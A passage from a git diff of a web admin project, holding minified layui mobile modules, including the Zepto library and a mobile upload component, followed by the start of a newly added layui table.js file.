    ",!i.type||2===i.type){var y=t[n](r[0]+i.type),u=y.length;u>=1&&c.close(y[0].getAttribute("index"))}document.body.appendChild(s);var m=e.elem=a("#"+e.id)[0];i.success&&i.success(m),e.index=o++,e.action(i,m)},d.prototype.action=function(e,t){var i=this;e.time&&(l.timer[i.index]=setTimeout(function(){c.close(i.index)},1e3*e.time));var a=function(){var t=this.getAttribute("type");0==t?(e.no&&e.no(),c.close(i.index)):e.yes?e.yes(i.index):c.close(i.index)};if(e.btn)for(var s=t[n]("layui-m-layerbtn")[0].children,o=s.length,r=0;r0&&e-1 in t)}function s(t){return A.call(t,function(t){return null!=t})}function u(t){return t.length>0?T.fn.concat.apply([],t):t}function c(t){return t.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function l(t){return t in F?F[t]:F[t]=new RegExp("(^|\\s)"+t+"(\\s|$)")}function f(t,e){return"number"!=typeof e||k[c(t)]?e:e+"px"}function h(t){var e,n;return $[t]||(e=L.createElement(t),L.body.appendChild(e),n=getComputedStyle(e,"").getPropertyValue("display"),e.parentNode.removeChild(e),"none"==n&&(n="block"),$[t]=n),$[t]}function p(t){return"children"in t?D.call(t.children):T.map(t.childNodes,function(t){if(1==t.nodeType)return t})}function d(t,e){var n,r=t?t.length:0;for(n=0;n]*>/,R=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,z=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,Z=/^(?:body|html)$/i,q=/([A-Z])/g,H=["val","css","html","text","data","width","height","offset"],I=["after","prepend","before","append"],V=L.createElement("table"),_=L.createElement("tr"),B={tr:L.createElement("tbody"),tbody:V,thead:V,tfoot:V,td:_,th:_,"*":L.createElement("div")},U=/complete|loaded|interactive/,X=/^[\w-]*$/,J={},W=J.toString,Y={},G=L.createElement("div"),K={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},Q=Array.isArray||function(t){return t instanceof Array};return Y.matches=function(t,e){if(!e||!t||1!==t.nodeType)return!1;var n=t.matches||t.webkitMatchesSelector||t.mozMatchesSelector||t.oMatchesSelector||t.matchesSelector;if(n)return n.call(t,e);var r,i=t.parentNode,o=!i;return o&&(i=G).appendChild(t),r=~Y.qsa(i,e).indexOf(t),o&&G.removeChild(t),r},C=function(t){return t.replace(/-+(.)?/g,function(t,e){return e?e.toUpperCase():""})},N=function(t){return A.call(t,function(e,n){return t.indexOf(e)==n})},Y.fragment=function(t,e,n){var r,i,a;return R.test(t)&&(r=T(L.createElement(RegExp.$1))),r||(t.replace&&(t=t.replace(z,"<$1>")),e===E&&(e=M.test(t)&&RegExp.$1),e in B||(e="*"),a=B[e],a.innerHTML=""+t,r=T.each(D.call(a.childNodes),function(){a.removeChild(this)})),o(n)&&(i=T(r),T.each(n,function(t,e){H.indexOf(t)>-1?i[t](e):i.attr(t,e)})),r},Y.Z=function(t,e){return new d(t,e)},Y.isZ=function(t){return t instanceof Y.Z},Y.init=function(t,n){var r;if(!t)return Y.Z();if("string"==typeof t)if(t=t.trim(),"<"==t[0]&&M.test(t))r=Y.fragment(t,RegExp.$1,n),t=null;else{if(n!==E)return T(n).find(t);r=Y.qsa(L,t)}else{if(e(t))return T(L).ready(t);if(Y.isZ(t))return t;if(Q(t))r=s(t);else if(i(t))r=[t],t=null;else if(M.test(t))r=Y.fragment(t.trim(),RegExp.$1,n),t=null;else{if(n!==E)return T(n).find(t);r=Y.qsa(L,t)}}return Y.Z(r,t)},T=function(t,e){return Y.init(t,e)},T.extend=function(t){var e,n=D.call(arguments,1);return"boolean"==typeof t&&(e=t,t=n.shift()),n.forEach(function(n){m(t,n,e)}),t},Y.qsa=function(t,e){var n,r="#"==e[0],i=!r&&"."==e[0],o=r||i?e.slice(1):e,a=X.test(o);return t.getElementById&&a&&r?(n=t.getElementById(o))?[n]:[]:1!==t.nodeType&&9!==t.nodeType&&11!==t.nodeType?[]:D.call(a&&!r&&t.getElementsByClassName?i?t.getElementsByClassName(o):t.getElementsByTagName(e):t.querySelectorAll(e))},T.contains=L.documentElement.contains?function(t,e){return t!==e&&t.contains(e)}:function(t,e){for(;e&&(e=e.parentNode);)if(e===t)return!0;return!1},T.type=t,T.isFunction=e,T.isWindow=n,T.isArray=Q,T.isPlainObject=o,T.isEmptyObject=function(t){var e;for(e in t)return!1;return!0},T.isNumeric=function(t){var e=Number(t),n=typeof t;return null!=t&&"boolean"!=n&&("string"!=n||t.length)&&!isNaN(e)&&isFinite(e)||!1},T.inArray=function(t,e,n){return O.indexOf.call(e,t,n)},T.camelCase=C,T.trim=function(t){return null==t?"":String.prototype.trim.call(t)},T.uuid=0,T.support={},T.expr={},T.noop=function(){},T.map=function(t,e){var n,r,i,o=[];if(a(t))for(r=0;r=0?t:t+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){null!=this.parentNode&&this.parentNode.removeChild(this)})},each:function(t){return O.every.call(this,function(e,n){return t.call(e,n,e)!==!1}),this},filter:function(t){return e(t)?this.not(this.not(t)):T(A.call(this,function(e){return Y.matches(e,t)}))},add:function(t,e){return T(N(this.concat(T(t,e))))},is:function(t){return this.length>0&&Y.matches(this[0],t)},not:function(t){var n=[];if(e(t)&&t.call!==E)this.each(function(e){t.call(this,e)||n.push(this)});else{var r="string"==typeof t?this.filter(t):a(t)&&e(t.item)?D.call(t):T(t);this.forEach(function(t){r.indexOf(t)<0&&n.push(t)})}return T(n)},has:function(t){return this.filter(function(){return i(t)?T.contains(this,t):T(this).find(t).size()})},eq:function(t){return t===-1?this.slice(t):this.slice(t,+t+1)},first:function(){var t=this[0];return t&&!i(t)?t:T(t)},last:function(){var t=this[this.length-1];return t&&!i(t)?t:T(t)},find:function(t){var e,n=this;return e=t?"object"==typeof t?T(t).filter(function(){var t=this;return O.some.call(n,function(e){return T.contains(e,t)})}):1==this.length?T(Y.qsa(this[0],t)):this.map(function(){return Y.qsa(this,t)}):T()},closest:function(t,e){var n=[],i="object"==typeof t&&T(t);return this.each(function(o,a){for(;a&&!(i?i.indexOf(a)>=0:Y.matches(a,t));)a=a!==e&&!r(a)&&a.parentNode;a&&n.indexOf(a)<0&&n.push(a)}),T(n)},parents:function(t){for(var e=[],n=this;n.length>0;)n=T.map(n,function(t){if((t=t.parentNode)&&!r(t)&&e.indexOf(t)<0)return e.push(t),t});return v(e,t)},parent:function(t){return v(N(this.pluck("parentNode")),t)},children:function(t){return v(this.map(function(){return p(this)}),t)},contents:function(){return this.map(function(){return this.contentDocument||D.call(this.childNodes)})},siblings:function(t){return v(this.map(function(t,e){return A.call(p(e.parentNode),function(t){return t!==e})}),t)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(t){return T.map(this,function(e){return e[t]})},show:function(){return this.each(function(){"none"==this.style.display&&(this.style.display=""),"none"==getComputedStyle(this,"").getPropertyValue("display")&&(this.style.display=h(this.nodeName))})},replaceWith:function(t){return this.before(t).remove()},wrap:function(t){var n=e(t);if(this[0]&&!n)var r=T(t).get(0),i=r.parentNode||this.length>1;return this.each(function(e){T(this).wrapAll(n?t.call(this,e):i?r.cloneNode(!0):r)})},wrapAll:function(t){if(this[0]){T(this[0]).before(t=T(t));for(var e;(e=t.children()).length;)t=e.first();T(t).append(this)}return this},wrapInner:function(t){var n=e(t);return this.each(function(e){var r=T(this),i=r.contents(),o=n?t.call(this,e):t;i.length?i.wrapAll(o):r.append(o)})},unwrap:function(){return this.parent().each(function(){T(this).replaceWith(T(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(t){return this.each(function(){var e=T(this);(t===E?"none"==e.css("display"):t)?e.show():e.hide()})},prev:function(t){return T(this.pluck("previousElementSibling")).filter(t||"*")},next:function(t){return T(this.pluck("nextElementSibling")).filter(t||"*")},html:function(t){return 0 in arguments?this.each(function(e){var n=this.innerHTML;T(this).empty().append(g(this,t,e,n))}):0 in this?this[0].innerHTML:null},text:function(t){return 0 in arguments?this.each(function(e){var n=g(this,t,e,this.textContent);this.textContent=null==n?"":""+n}):0 in this?this.pluck("textContent").join(""):null},attr:function(t,e){var n;return"string"!=typeof t||1 in arguments?this.each(function(n){if(1===this.nodeType)if(i(t))for(j in t)y(this,j,t[j]);else y(this,t,g(this,e,n,this.getAttribute(t)))}):0 in this&&1==this[0].nodeType&&null!=(n=this[0].getAttribute(t))?n:E},removeAttr:function(t){return this.each(function(){1===this.nodeType&&t.split(" ").forEach(function(t){y(this,t)},this)})},prop:function(t,e){return t=K[t]||t,1 in arguments?this.each(function(n){this[t]=g(this,e,n,this[t])}):this[0]&&this[0][t]},removeProp:function(t){return t=K[t]||t,this.each(function(){delete this[t]})},data:function(t,e){var n="data-"+t.replace(q,"-$1").toLowerCase(),r=1 in arguments?this.attr(n,e):this.attr(n);return null!==r?b(r):E},val:function(t){return 0 in arguments?(null==t&&(t=""),this.each(function(e){this.value=g(this,t,e,this.value)})):this[0]&&(this[0].multiple?T(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value)},offset:function(t){if(t)return this.each(function(e){var n=T(this),r=g(this,t,e,n.offset()),i=n.offsetParent().offset(),o={top:r.top-i.top,left:r.left-i.left};"static"==n.css("position")&&(o.position="relative"),n.css(o)});if(!this.length)return null;if(L.documentElement!==this[0]&&!T.contains(L.documentElement,this[0]))return{top:0,left:0};var e=this[0].getBoundingClientRect();return{left:e.left+window.pageXOffset,top:e.top+window.pageYOffset,width:Math.round(e.width),height:Math.round(e.height)}},css:function(e,n){if(arguments.length<2){var r=this[0];if("string"==typeof e){if(!r)return;return r.style[C(e)]||getComputedStyle(r,"").getPropertyValue(e)}if(Q(e)){if(!r)return;var i={},o=getComputedStyle(r,"");return T.each(e,function(t,e){i[e]=r.style[C(e)]||o.getPropertyValue(e)}),i}}var a="";if("string"==t(e))n||0===n?a=c(e)+":"+f(e,n):this.each(function(){this.style.removeProperty(c(e))});else for(j in e)e[j]||0===e[j]?a+=c(j)+":"+f(j,e[j])+";":this.each(function(){this.style.removeProperty(c(j))});return this.each(function(){this.style.cssText+=";"+a})},index:function(t){return t?this.indexOf(T(t)[0]):this.parent().children().indexOf(this[0])},hasClass:function(t){return!!t&&O.some.call(this,function(t){return this.test(x(t))},l(t))},addClass:function(t){return t?this.each(function(e){if("className"in this){S=[];var n=x(this),r=g(this,t,e,n);r.split(/\s+/g).forEach(function(t){T(this).hasClass(t)||S.push(t)},this),S.length&&x(this,n+(n?" ":"")+S.join(" "))}}):this},removeClass:function(t){return this.each(function(e){if("className"in this){if(t===E)return x(this,"");S=x(this),g(this,t,e,S).split(/\s+/g).forEach(function(t){S=S.replace(l(t)," ")}),x(this,S.trim())}})},toggleClass:function(t,e){return t?this.each(function(n){var r=T(this),i=g(this,t,n,x(this));i.split(/\s+/g).forEach(function(t){(e===E?!r.hasClass(t):e)?r.addClass(t):r.removeClass(t)})}):this},scrollTop:function(t){if(this.length){var e="scrollTop"in this[0];return t===E?e?this[0].scrollTop:this[0].pageYOffset:this.each(e?function(){this.scrollTop=t}:function(){this.scrollTo(this.scrollX,t)})}},scrollLeft:function(t){if(this.length){var e="scrollLeft"in this[0];return t===E?e?this[0].scrollLeft:this[0].pageXOffset:this.each(e?function(){this.scrollLeft=t}:function(){this.scrollTo(t,this.scrollY)})}},position:function(){if(this.length){var t=this[0],e=this.offsetParent(),n=this.offset(),r=Z.test(e[0].nodeName)?{top:0,left:0}:e.offset();return n.top-=parseFloat(T(t).css("margin-top"))||0,n.left-=parseFloat(T(t).css("margin-left"))||0,r.top+=parseFloat(T(e[0]).css("border-top-width"))||0,r.left+=parseFloat(T(e[0]).css("border-left-width"))||0,{top:n.top-r.top,left:n.left-r.left}}},offsetParent:function(){return this.map(function(){for(var t=this.offsetParent||L.body;t&&!Z.test(t.nodeName)&&"static"==T(t).css("position");)t=t.offsetParent;return t})}},T.fn.detach=T.fn.remove,["width","height"].forEach(function(t){var e=t.replace(/./,function(t){return t[0].toUpperCase()});T.fn[t]=function(i){var o,a=this[0];return i===E?n(a)?a["inner"+e]:r(a)?a.documentElement["scroll"+e]:(o=this.offset())&&o[t]:this.each(function(e){a=T(this),a.css(t,g(this,i,e,a[t]()))})}}),I.forEach(function(e,n){var r=n%2;T.fn[e]=function(){var e,i,o=T.map(arguments,function(n){var r=[];return e=t(n),"array"==e?(n.forEach(function(t){return t.nodeType!==E?r.push(t):T.zepto.isZ(t)?r=r.concat(t.get()):void(r=r.concat(Y.fragment(t)))}),r):"object"==e||null==n?n:Y.fragment(n)}),a=this.length>1;return o.length<1?this:this.each(function(t,e){i=r?e:e.parentNode,e=0==n?e.nextSibling:1==n?e.firstChild:2==n?e:null;var s=T.contains(L.documentElement,i);o.forEach(function(t){if(a)t=t.cloneNode(!0);else if(!i)return T(t).remove();i.insertBefore(t,e),s&&w(t,function(t){if(!(null==t.nodeName||"SCRIPT"!==t.nodeName.toUpperCase()||t.type&&"text/javascript"!==t.type||t.src)){var e=t.ownerDocument?t.ownerDocument.defaultView:window;e.eval.call(e,t.innerHTML)}})})})},T.fn[r?e+"To":"insert"+(n?"Before":"After")]=function(t){return T(t)[e](this),this}}),Y.Z.prototype=d.prototype=T.fn,Y.uniq=N,Y.deserializeValue=b,T.zepto=Y,T}();!function(t){function e(t){return t._zid||(t._zid=h++)}function n(t,n,o,a){if(n=r(n),n.ns)var s=i(n.ns);return(v[e(t)]||[]).filter(function(t){return t&&(!n.e||t.e==n.e)&&(!n.ns||s.test(t.ns))&&(!o||e(t.fn)===e(o))&&(!a||t.sel==a)})}function r(t){var e=(""+t).split(".");return{e:e[0],ns:e.slice(1).sort().join(" ")}}function i(t){return new RegExp("(?:^| )"+t.replace(" "," .* ?")+"(?: |$)")}function o(t,e){return t.del&&!y&&t.e in x||!!e}function a(t){return b[t]||y&&x[t]||t}function s(n,i,s,u,l,h,p){var d=e(n),m=v[d]||(v[d]=[]);i.split(/\s/).forEach(function(e){if("ready"==e)return t(document).ready(s);var i=r(e);i.fn=s,i.sel=l,i.e in b&&(s=function(e){var n=e.relatedTarget;if(!n||n!==this&&!t.contains(this,n))return i.fn.apply(this,arguments)}),i.del=h;var d=h||s;i.proxy=function(t){if(t=c(t),!t.isImmediatePropagationStopped()){t.data=u;var e=d.apply(n,t._args==f?[t]:[t].concat(t._args));return e===!1&&(t.preventDefault(),t.stopPropagation()),e}},i.i=m.length,m.push(i),"addEventListener"in n&&n.addEventListener(a(i.e),i.proxy,o(i,p))})}function u(t,r,i,s,u){var c=e(t);(r||"").split(/\s/).forEach(function(e){n(t,e,i,s).forEach(function(e){delete v[c][e.i],"removeEventListener"in t&&t.removeEventListener(a(e.e),e.proxy,o(e,u))})})}function c(e,n){return!n&&e.isDefaultPrevented||(n||(n=e),t.each(T,function(t,r){var i=n[t];e[t]=function(){return this[r]=w,i&&i.apply(n,arguments)},e[r]=E}),e.timeStamp||(e.timeStamp=Date.now()),(n.defaultPrevented!==f?n.defaultPrevented:"returnValue"in n?n.returnValue===!1:n.getPreventDefault&&n.getPreventDefault())&&(e.isDefaultPrevented=w)),e}function l(t){var e,n={originalEvent:t};for(e in t)j.test(e)||t[e]===f||(n[e]=t[e]);return c(n,t)}var f,h=1,p=Array.prototype.slice,d=t.isFunction,m=function(t){return"string"==typeof t},v={},g={},y="onfocusin"in window,x={focus:"focusin",blur:"focusout"},b={mouseenter:"mouseover",mouseleave:"mouseout"};g.click=g.mousedown=g.mouseup=g.mousemove="MouseEvents",t.event={add:s,remove:u},t.proxy=function(n,r){var i=2 in arguments&&p.call(arguments,2);if(d(n)){var o=function(){return n.apply(r,i?i.concat(p.call(arguments)):arguments)};return o._zid=e(n),o}if(m(r))return i?(i.unshift(n[r],n),t.proxy.apply(null,i)):t.proxy(n[r],n);throw new TypeError("expected function")},t.fn.bind=function(t,e,n){return this.on(t,e,n)},t.fn.unbind=function(t,e){return this.off(t,e)},t.fn.one=function(t,e,n,r){return this.on(t,e,n,r,1)};var w=function(){return!0},E=function(){return!1},j=/^([A-Z]|returnValue$|layer[XY]$|webkitMovement[XY]$)/,T={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};t.fn.delegate=function(t,e,n){return this.on(e,t,n)},t.fn.undelegate=function(t,e,n){return this.off(e,t,n)},t.fn.live=function(e,n){return t(document.body).delegate(this.selector,e,n),this},t.fn.die=function(e,n){return t(document.body).undelegate(this.selector,e,n),this},t.fn.on=function(e,n,r,i,o){var a,c,h=this;return e&&!m(e)?(t.each(e,function(t,e){h.on(t,n,r,e,o)}),h):(m(n)||d(i)||i===!1||(i=r,r=n,n=f),i!==f&&r!==!1||(i=r,r=f),i===!1&&(i=E),h.each(function(f,h){o&&(a=function(t){return u(h,t.type,i),i.apply(this,arguments)}),n&&(c=function(e){var r,o=t(e.target).closest(n,h).get(0);if(o&&o!==h)return r=t.extend(l(e),{currentTarget:o,liveFired:h}),(a||i).apply(o,[r].concat(p.call(arguments,1)))}),s(h,e,i,r,n,c||a)}))},t.fn.off=function(e,n,r){var i=this;return e&&!m(e)?(t.each(e,function(t,e){i.off(t,n,e)}),i):(m(n)||d(r)||r===!1||(r=n,n=f),r===!1&&(r=E),i.each(function(){u(this,e,r,n)}))},t.fn.trigger=function(e,n){return e=m(e)||t.isPlainObject(e)?t.Event(e):c(e),e._args=n,this.each(function(){e.type in x&&"function"==typeof this[e.type]?this[e.type]():"dispatchEvent"in this?this.dispatchEvent(e):t(this).triggerHandler(e,n)})},t.fn.triggerHandler=function(e,r){var i,o;return this.each(function(a,s){i=l(m(e)?t.Event(e):e),i._args=r,i.target=s,t.each(n(s,e.type||e),function(t,e){if(o=e.proxy(i),i.isImmediatePropagationStopped())return!1})}),o},"focusin focusout focus blur load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(e){t.fn[e]=function(t){return 0 in arguments?this.bind(e,t):this.trigger(e)}}),t.Event=function(t,e){m(t)||(e=t,t=e.type);var n=document.createEvent(g[t]||"Events"),r=!0;if(e)for(var i in e)"bubbles"==i?r=!!e[i]:n[i]=e[i];return n.initEvent(t,r,!0),c(n)}}(e),function(t){function e(e,n,r){var i=t.Event(n);return t(e).trigger(i,r),!i.isDefaultPrevented()}function n(t,n,r,i){if(t.global)return e(n||x,r,i)}function r(e){e.global&&0===t.active++&&n(e,null,"ajaxStart")}function i(e){e.global&&!--t.active&&n(e,null,"ajaxStop")}function o(t,e){var r=e.context;return e.beforeSend.call(r,t,e)!==!1&&n(e,r,"ajaxBeforeSend",[t,e])!==!1&&void n(e,r,"ajaxSend",[t,e])}function a(t,e,r,i){var o=r.context,a="success";r.success.call(o,t,a,e),i&&i.resolveWith(o,[t,a,e]),n(r,o,"ajaxSuccess",[e,r,t]),u(a,e,r)}function s(t,e,r,i,o){var a=i.context;i.error.call(a,r,e,t),o&&o.rejectWith(a,[r,e,t]),n(i,a,"ajaxError",[r,i,t||e]),u(e,r,i)}function u(t,e,r){var o=r.context;r.complete.call(o,e,t),n(r,o,"ajaxComplete",[e,r]),i(r)}function c(t,e,n){if(n.dataFilter==l)return t;var r=n.context;return n.dataFilter.call(r,t,e)}function l(){}function f(t){return t&&(t=t.split(";",2)[0]),t&&(t==T?"html":t==j?"json":w.test(t)?"script":E.test(t)&&"xml")||"text"}function h(t,e){return""==e?t:(t+"&"+e).replace(/[&?]{1,2}/,"?")}function p(e){e.processData&&e.data&&"string"!=t.type(e.data)&&(e.data=t.param(e.data,e.traditional)),!e.data||e.type&&"GET"!=e.type.toUpperCase()&&"jsonp"!=e.dataType||(e.url=h(e.url,e.data),e.data=void 0)}function d(e,n,r,i){return t.isFunction(n)&&(i=r,r=n,n=void 0),t.isFunction(r)||(i=r,r=void 0),{url:e,data:n,success:r,dataType:i}}function m(e,n,r,i){var o,a=t.isArray(n),s=t.isPlainObject(n);t.each(n,function(n,u){o=t.type(u),i&&(n=r?i:i+"["+(s||"object"==o||"array"==o?n:"")+"]"),!i&&a?e.add(u.name,u.value):"array"==o||!r&&"object"==o?m(e,u,r,n):e.add(n,u)})}var v,g,y=+new Date,x=window.document,b=/)<[^<]*)*<\/script>/gi,w=/^(?:text|application)\/javascript/i,E=/^(?:text|application)\/xml/i,j="application/json",T="text/html",S=/^\s*$/,C=x.createElement("a");C.href=window.location.href,t.active=0,t.ajaxJSONP=function(e,n){if(!("type"in e))return t.ajax(e);var r,i,u=e.jsonpCallback,c=(t.isFunction(u)?u():u)||"Zepto"+y++,l=x.createElement("script"),f=window[c],h=function(e){t(l).triggerHandler("error",e||"abort")},p={abort:h};return n&&n.promise(p),t(l).on("load error",function(o,u){clearTimeout(i),t(l).off().remove(),"error"!=o.type&&r?a(r[0],p,e,n):s(null,u||"error",p,e,n),window[c]=f,r&&t.isFunction(f)&&f(r[0]),f=r=void 0}),o(p,e)===!1?(h("abort"),p):(window[c]=function(){r=arguments},l.src=e.url.replace(/\?(.+)=\?/,"?$1="+c),x.head.appendChild(l),e.timeout>0&&(i=setTimeout(function(){h("timeout")},e.timeout)),p)},t.ajaxSettings={type:"GET",beforeSend:l,success:l,error:l,complete:l,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:j,xml:"application/xml, text/xml",html:T,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0,dataFilter:l},t.ajax=function(e){var n,i,u=t.extend({},e||{}),d=t.Deferred&&t.Deferred();for(v in t.ajaxSettings)void 0===u[v]&&(u[v]=t.ajaxSettings[v]);r(u),u.crossDomain||(n=x.createElement("a"),n.href=u.url,n.href=n.href,u.crossDomain=C.protocol+"//"+C.host!=n.protocol+"//"+n.host),u.url||(u.url=window.location.toString()),(i=u.url.indexOf("#"))>-1&&(u.url=u.url.slice(0,i)),p(u);var m=u.dataType,y=/\?.+=\?/.test(u.url);if(y&&(m="jsonp"),u.cache!==!1&&(e&&e.cache===!0||"script"!=m&&"jsonp"!=m)||(u.url=h(u.url,"_="+Date.now())),"jsonp"==m)return y||(u.url=h(u.url,u.jsonp?u.jsonp+"=?":u.jsonp===!1?"":"callback=?")),t.ajaxJSONP(u,d);var b,w=u.accepts[m],E={},j=function(t,e){E[t.toLowerCase()]=[t,e]},T=/^([\w-]+:)\/\//.test(u.url)?RegExp.$1:window.location.protocol,N=u.xhr(),O=N.setRequestHeader;if(d&&d.promise(N),u.crossDomain||j("X-Requested-With","XMLHttpRequest"),j("Accept",w||"*/*"),(w=u.mimeType||w)&&(w.indexOf(",")>-1&&(w=w.split(",",2)[0]),N.overrideMimeType&&N.overrideMimeType(w)),(u.contentType||u.contentType!==!1&&u.data&&"GET"!=u.type.toUpperCase())&&j("Content-Type",u.contentType||"application/x-www-form-urlencoded"),u.headers)for(g in u.headers)j(g,u.headers[g]);if(N.setRequestHeader=j,N.onreadystatechange=function(){if(4==N.readyState){N.onreadystatechange=l,clearTimeout(b);var e,n=!1;if(N.status>=200&&N.status<300||304==N.status||0==N.status&&"file:"==T){if(m=m||f(u.mimeType||N.getResponseHeader("content-type")),"arraybuffer"==N.responseType||"blob"==N.responseType)e=N.response;else{e=N.responseText;try{e=c(e,m,u),"script"==m?(0,eval)(e):"xml"==m?e=N.responseXML:"json"==m&&(e=S.test(e)?null:t.parseJSON(e))}catch(r){n=r}if(n)return s(n,"parsererror",N,u,d)}a(e,N,u,d)}else s(N.statusText||null,N.status?"error":"abort",N,u,d)}},o(N,u)===!1)return N.abort(),s(null,"abort",N,u,d),N;var P=!("async"in u)||u.async;if(N.open(u.type,u.url,P,u.username,u.password),u.xhrFields)for(g in u.xhrFields)N[g]=u.xhrFields[g];for(g in E)O.apply(N,E[g]);return u.timeout>0&&(b=setTimeout(function(){N.onreadystatechange=l,N.abort(),s(null,"timeout",N,u,d)},u.timeout)),N.send(u.data?u.data:null),N},t.get=function(){return t.ajax(d.apply(null,arguments))},t.post=function(){var e=d.apply(null,arguments);return e.type="POST",t.ajax(e)},t.getJSON=function(){var e=d.apply(null,arguments);return e.dataType="json",t.ajax(e)},t.fn.load=function(e,n,r){if(!this.length)return this;var i,o=this,a=e.split(/\s/),s=d(e,n,r),u=s.success;return a.length>1&&(s.url=a[0],i=a[1]),s.success=function(e){o.html(i?t("
    ").html(e.replace(b,"")).find(i):e),u&&u.apply(o,arguments)},t.ajax(s),this};var N=encodeURIComponent;t.param=function(e,n){var r=[];return r.add=function(e,n){t.isFunction(n)&&(n=n()),null==n&&(n=""),this.push(N(e)+"="+N(n))},m(r,e,n),r.join("&").replace(/%20/g,"+")}}(e),function(t){t.fn.serializeArray=function(){var e,n,r=[],i=function(t){return t.forEach?t.forEach(i):void r.push({name:e,value:t})};return this[0]&&t.each(this[0].elements,function(r,o){n=o.type,e=o.name,e&&"fieldset"!=o.nodeName.toLowerCase()&&!o.disabled&&"submit"!=n&&"reset"!=n&&"button"!=n&&"file"!=n&&("radio"!=n&&"checkbox"!=n||o.checked)&&i(t(o).val())}),r},t.fn.serialize=function(){var t=[];return this.serializeArray().forEach(function(e){t.push(encodeURIComponent(e.name)+"="+encodeURIComponent(e.value))}),t.join("&")},t.fn.submit=function(e){if(0 in arguments)this.bind("submit",e);else if(this.length){var n=t.Event("submit");this.eq(0).trigger(n),n.isDefaultPrevented()||this.get(0).submit()}return this}}(e),function(){try{getComputedStyle(void 0)}catch(t){var e=getComputedStyle;window.getComputedStyle=function(t,n){try{return e(t,n)}catch(r){return null}}}}(),t("zepto",e)});layui.define(["layer-mobile","zepto"],function(e){"use strict";var t=layui.zepto,a=layui["layer-mobile"],i=(layui.device(),"layui-upload-enter"),n="layui-upload-iframe",r={icon:2,shift:6},o={file:"文件",video:"视频",audio:"音频"};a.msg=function(e){return a.open({content:e||"",skin:"msg",time:2})};var s=function(e){this.options=e};s.prototype.init=function(){var e=this,a=e.options,r=t("body"),s=t(a.elem||".layui-upload-file"),u=t('');return t("#"+n)[0]||r.append(u),s.each(function(r,s){s=t(s);var u='
    ',l=s.attr("lay-type")||a.type;a.unwrap||(u='
    '+u+''+(s.attr("lay-title")||a.title||"上传"+(o[l]||"图片"))+"
    "),u=t(u),a.unwrap||u.on("dragover",function(e){e.preventDefault(),t(this).addClass(i)}).on("dragleave",function(){t(this).removeClass(i)}).on("drop",function(){t(this).removeClass(i)}),s.parent("form").attr("target")===n&&(a.unwrap?s.unwrap():(s.parent().next().remove(),s.unwrap().unwrap())),s.wrap(u),s.off("change").on("change",function(){e.action(this,l)})})},s.prototype.action=function(e,i){var o=this,s=o.options,u=e.value,l=t(e),p=l.attr("lay-ext")||s.ext||"";if(u){switch(i){case"file":if(p&&!RegExp("\\w\\.("+p+")$","i").test(escape(u)))return a.msg("不支持该文件格式",r),e.value="";break;case"video":if(!RegExp("\\w\\.("+(p||"avi|mp4|wma|rmvb|rm|flash|3gp|flv")+")$","i").test(escape(u)))return a.msg("不支持该视频格式",r),e.value="";break;case"audio":if(!RegExp("\\w\\.("+(p||"mp3|wav|mid")+")$","i").test(escape(u)))return a.msg("不支持该音频格式",r),e.value="";break;default:if(!RegExp("\\w\\.("+(p||"jpg|png|gif|bmp|jpeg")+")$","i").test(escape(u)))return a.msg("不支持该图片格式",r),e.value=""}s.before&&s.before(e),l.parent().submit();var c=t("#"+n),f=setInterval(function(){var t;try{t=c.contents().find("body").text()}catch(i){a.msg("上传接口存在跨域",r),clearInterval(f)}if(t){clearInterval(f),c.contents().find("body").html("");try{t=JSON.parse(t)}catch(i){return t={},a.msg("请对上传接口返回JSON字符",r)}"function"==typeof s.success&&s.success(t,e)}},30);e.value=""}},e("upload-mobile",function(e){var t=new s(e=e||{});t.init()})});layui.define(function(i){i("layim-mobile",layui.v)});layui["layui.mobile"]||layui.config({base:layui.cache.dir+"lay/modules/mobile/"}).extend({"layer-mobile":"layer-mobile",zepto:"zepto","upload-mobile":"upload-mobile","layim-mobile":"layim-mobile"}),layui.define(["layer-mobile","zepto","layim-mobile"],function(l){l("mobile",{layer:layui["layer-mobile"],layim:layui["layim-mobile"]})}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/table.js b/application/view/Admin/layui/lay/modules/table.js new file mode 100644 index 0000000..2237a17 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/table.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define(["laytpl","laypage","layer","form"],function(e){"use strict";var t=layui.$,i=layui.laytpl,a=layui.laypage,l=layui.layer,n=layui.form,o=layui.hint(),r=layui.device(),d={config:{checkName:"LAY_CHECKED",indexName:"LAY_TABLE_INDEX"},cache:{},index:layui.table?layui.table.index+1e4:0,set:function(e){var i=this;return i.config=t.extend({},i.config,e),i},on:function(e,t){return layui.onevent.call(this,s,e,t)}},c=function(){var e=this,t=e.config,i=t.id;return i&&(c.config[i]=t),{reload:function(t){e.reload.call(e,t)},config:t}},s="table",u=".layui-table",h="layui-hide",f="layui-none",y="layui-table-view",p=".layui-table-header",m=".layui-table-body",v=".layui-table-main",g=".layui-table-fixed",x=".layui-table-fixed-l",b=".layui-table-fixed-r",k=".layui-table-tool",C=".layui-table-page",w=".layui-table-sort",N="layui-table-edit",F="layui-table-hover",W=function(e){var t='{{#if(item2.colspan){}} colspan="{{item2.colspan}}"{{#} if(item2.rowspan){}} 